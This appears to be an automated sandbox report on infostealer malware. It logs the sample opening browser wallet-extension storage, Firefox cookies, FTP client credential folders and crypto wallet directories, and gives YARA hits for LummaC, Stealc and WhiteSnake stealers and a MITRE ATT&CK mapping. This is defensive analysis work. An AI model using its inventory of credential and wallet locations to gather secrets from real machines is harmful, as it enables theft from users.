Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN

Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 70bf1463df.exe PID: 6984, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 384a543dd0.exe PID: 7480, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 70bf1463df.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 35.2.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.e90585a72a.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2829604332.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2665005403.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2812170564.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2832801090.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2811743651.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2832117912.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2706006259.0000000000651000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e90585a72a.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected WhiteSnake Stealer

Source: Yara match	File source: 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6032, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	246 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	33 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	212 Process Injection	1 DLL Side-Loading	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

